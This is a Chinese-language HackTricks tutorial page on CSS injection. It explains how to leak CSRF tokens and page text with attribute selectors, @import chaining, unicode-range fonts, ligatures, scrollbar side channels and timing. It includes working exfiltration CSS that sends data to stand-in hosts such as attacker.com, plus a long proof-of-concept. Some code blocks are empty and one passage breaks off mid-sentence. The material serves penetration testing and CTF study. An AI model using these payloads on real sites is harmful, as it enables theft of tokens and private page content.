# CSS 注入
{{#include ../../../banners/hacktricks-training.md}}
## CSS 注入
### 属性选择器
CSS 选择器被设计用来匹配 `input` 元素的 `name` 和 `value` 属性的值。如果输入元素的值属性以特定字符开头,则加载预定义的外部资源:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
然而,这种方法在处理隐藏输入元素(`type="hidden"`)时面临限制,因为隐藏元素不会加载背景。
#### 绕过隐藏元素的限制
为了绕过这个限制,您可以使用 `~` 一般兄弟组合器来定位后续兄弟元素。然后,CSS 规则适用于所有在隐藏输入元素之后的兄弟元素,从而导致背景图像加载:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
一个利用此技术的实际例子在提供的代码片段中详细说明。您可以在 [这里](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) 查看。
#### CSS 注入的先决条件
为了使 CSS 注入技术有效,必须满足某些条件:
1. **有效负载长度**:CSS 注入向量必须支持足够长的有效负载,以容纳精心制作的选择器。
2. **CSS 重新评估**:您应该能够框架页面,这对于触发使用新生成的有效负载重新评估 CSS 是必要的。
3. **外部资源**:该技术假设能够使用外部托管的图像。这可能会受到网站内容安全策略 (CSP) 的限制。
### 盲属性选择器
正如 [**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration),可以结合选择器 **`:has`** 和 **`:not`** 来识别盲元素中的内容。这在您不知道加载 CSS 注入的网页内部内容时非常有用。\
还可以使用这些选择器从多个相同类型的块中提取信息,例如:
```html
```
结合以下的 **@import** 技术,可以从盲页中通过 **CSS 注入提取大量信息**,使用 [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**。**
### @import
之前的技术有一些缺点,请检查先决条件。你要么需要能够 **向受害者发送多个链接**,要么需要能够 **iframe CSS 注入漏洞页面**。
然而,还有另一种巧妙的技术,使用 **CSS `@import`** 来提高技术的质量。
这首先由 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) 展示,其工作原理如下:
我们将 **只加载一次页面,并仅通过导入到攻击者的服务器**(这是发送给受害者的有效载荷)。
```css
@import url("//attacker.com:5001/start?");
```
1. 导入将会**接收一些来自攻击者的CSS脚本**,并且**浏览器将加载它**。
2. 攻击者发送的CSS脚本的第一部分是**另一个`@import`到攻击者的服务器**。
1. 攻击者的服务器尚未响应此请求,因为我们想要泄露一些字符,然后用有效负载响应此导入以泄露下一个字符。
3. 有效负载的第二部分和更大部分将是**属性选择器泄露有效负载**。
1. 这将向攻击者的服务器发送**秘密的第一个字符和最后一个字符**。
4. 一旦攻击者的服务器接收到**秘密的第一个和最后一个字符**,它将**响应步骤2中请求的导入**。
1. 响应将与**步骤2、3和4**完全相同,但这次它将尝试**找到秘密的第二个字符,然后是倒数第二个**。
攻击者将**遵循这个循环,直到完全泄露秘密**。
您可以在这里找到原始的[**Pepe Vila的代码来利用这个**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您可以在这里找到几乎[**相同的代码但有注释**](#css-injection)。
> [!NOTE]
> 脚本将尝试每次发现2个字符(从开头和结尾),因为属性选择器允许做如下事情:
>
> ```css
> /* value^= 匹配值的开头 */
> input[value^="0"] {
> --s0: url(http://localhost:5001/leak?pre=0);
> }
>
> /* value$= 匹配值的结尾 */
> input[value$="f"] {
> --e0: url(http://localhost:5001/leak?post=f);
> }
> ```
>
> 这使得脚本能够更快地泄露秘密。
> [!WARNING]
> 有时脚本**无法正确检测到前缀+后缀发现的已经是完整的标志**,它将继续向前(在前缀中)和向后(在后缀中),并在某个时刻会挂起。\
> 不用担心,只需检查**输出**,因为**您可以在那里看到标志**。
### 其他选择器
使用**CSS选择器**访问DOM部分的其他方法:
- **`.class-to-search:nth-child(2)`**:这将搜索DOM中类为"class-to-search"的第二个项目。
- **`:empty`**选择器:例如在[**这个写作中**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**中使用:**
```css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
```
### 基于错误的XS-Search
**参考:** [基于CSS的攻击:滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html),[基于错误的XS-Search PoC由@terjanq提供](https://twitter.com/terjanq/status/1180477124861407234)
总体意图是**使用来自受控端点的自定义字体**,并确保**文本(在这种情况下为'A')仅在指定资源(`favicon.ico`)无法加载时使用此字体显示**。
```html
```
1. **自定义字体使用**:
- 自定义字体通过在 `` 部分的 `
AB
htm
```
当您访问此页面时,Chrome 和 Firefox 会获取 "?A" 和 "?B",因为敏感信息的文本节点包含 "A" 和 "B" 字符。但 Chrome 和 Firefox 不会获取 "?C",因为它不包含 "C"。这意味着我们能够读取 "A" 和 "B"。
### 文本节点外泄 (I):连字
**参考:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
所描述的技术涉及通过利用字体连字并监控宽度变化来提取节点中的文本。该过程包括几个步骤:
1. **创建自定义字体**:
- SVG 字体是通过具有 `horiz-adv-x` 属性的字形制作的,该属性为表示两个字符序列的字形设置了较大的宽度。
- 示例 SVG 字形:``,其中 "XY" 表示一个两个字符的序列。
- 然后使用 fontforge 将这些字体转换为 woff 格式。
2. **检测宽度变化**:
- 使用 CSS 确保文本不换行(`white-space: nowrap`)并自定义滚动条样式。
- 水平滚动条的出现,样式独特,作为指示器(oracle),表明文本中存在特定的连字,因此存在特定的字符序列。
- 涉及的 CSS:
```css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
```
3. **利用过程**:
- **步骤 1**:为具有较大宽度的字符对创建字体。
- **步骤 2**:使用基于滚动条的技巧来检测何时渲染大宽度字形(字符对的连字),指示字符序列的存在。
- **步骤 3**:在检测到连字后,生成表示三个字符序列的新字形,包含检测到的对并添加前导或后续字符。
- **步骤 4**:进行三个字符连字的检测。
- **步骤 5**:该过程重复,逐步揭示整个文本。
4. **优化**:
- 当前使用 `
**参考:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
这个技巧在这个 [**Slackers 线程**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) 中发布。文本节点中使用的字符集可以 **使用浏览器中安装的默认字体** 泄露:不需要外部或自定义字体。
该概念围绕利用动画逐步扩展 `div` 的宽度,使一个字符一次性从文本的“后缀”部分过渡到“前缀”部分。这个过程有效地将文本分成两个部分:
1. **前缀**:初始行。
2. **后缀**:后续行。
字符的过渡阶段将如下所示:
**C**\
ADB
**CA**\
DB
**CAD**\
B
**CADB**
在此过渡期间,**unicode-range 技巧**被用来识别每个新字符,因为它加入前缀。这是通过将字体切换到 Comic Sans 来实现的,后者明显比默认字体高,从而触发垂直滚动条。这个滚动条的出现间接揭示了前缀中存在新字符。
尽管这种方法允许检测到独特字符的出现,但并未指定哪个字符被重复,仅仅表明发生了重复。
> [!NOTE]
> 基本上,**unicode-range 用于检测字符**,但由于我们不想加载外部字体,我们需要找到另一种方法。\
> 当 **字符** 被 **找到** 时,它被 **赋予** 预安装的 **Comic Sans 字体**,这使得字符 **变大** 并 **触发滚动条**,这将 **泄露找到的字符**。
检查从 PoC 中提取的代码:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### 文本节点外泄 (III):通过隐藏元素泄露字符集,使用默认字体(不需要外部资源)
**参考:** 这在[这篇文章中被提到作为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
这个案例与之前的非常相似,然而,在这个案例中,特定字符比其他字符更大的目标是**隐藏某些东西**,例如一个按钮,以防被机器人点击,或者一个不会被加载的图像。因此,我们可以测量这个动作(或缺乏动作),并知道特定字符是否存在于文本中。
### 文本节点外泄 (III):通过缓存时间泄露字符集(不需要外部资源)
**参考:** 这在[这篇文章中被提到作为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
在这个案例中,我们可以尝试通过从同一来源加载一个假字体来泄露字符是否在文本中:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
如果匹配成功,**字体将从 `/static/bootstrap.min.css?q=1` 加载**。虽然它不会成功加载,但**浏览器应该缓存它**,即使没有缓存,也有**304未修改**机制,因此**响应应该比其他内容更快**。
然而,如果缓存响应与非缓存响应的时间差不够大,这将没有用。例如,作者提到:然而,经过测试,我发现第一个问题是速度没有太大差别,第二个问题是机器人使用了 `disk-cache-size=1` 标志,这真的很周到。
### 文本节点外泄 (III):通过定时加载数百个本地“字体”(不需要外部资源)泄露字符集
**参考:** 这在[这篇文章中被提到作为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
在这种情况下,当发生匹配时,您可以指示**CSS从同一来源加载数百个假字体**。这样,您可以**测量所需的时间**,并找出某个字符是否出现,方法如下:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
机器人的代码如下:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
因此,如果字体不匹配,访问机器人时的响应时间预计约为 30 秒。然而,如果字体匹配,将会发送多个请求以检索字体,导致网络持续活动。因此,满足停止条件并接收响应所需的时间将更长。因此,响应时间可以作为判断是否存在字体匹配的指标。
## 参考文献
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
{{#include ../../../banners/hacktricks-training.md}}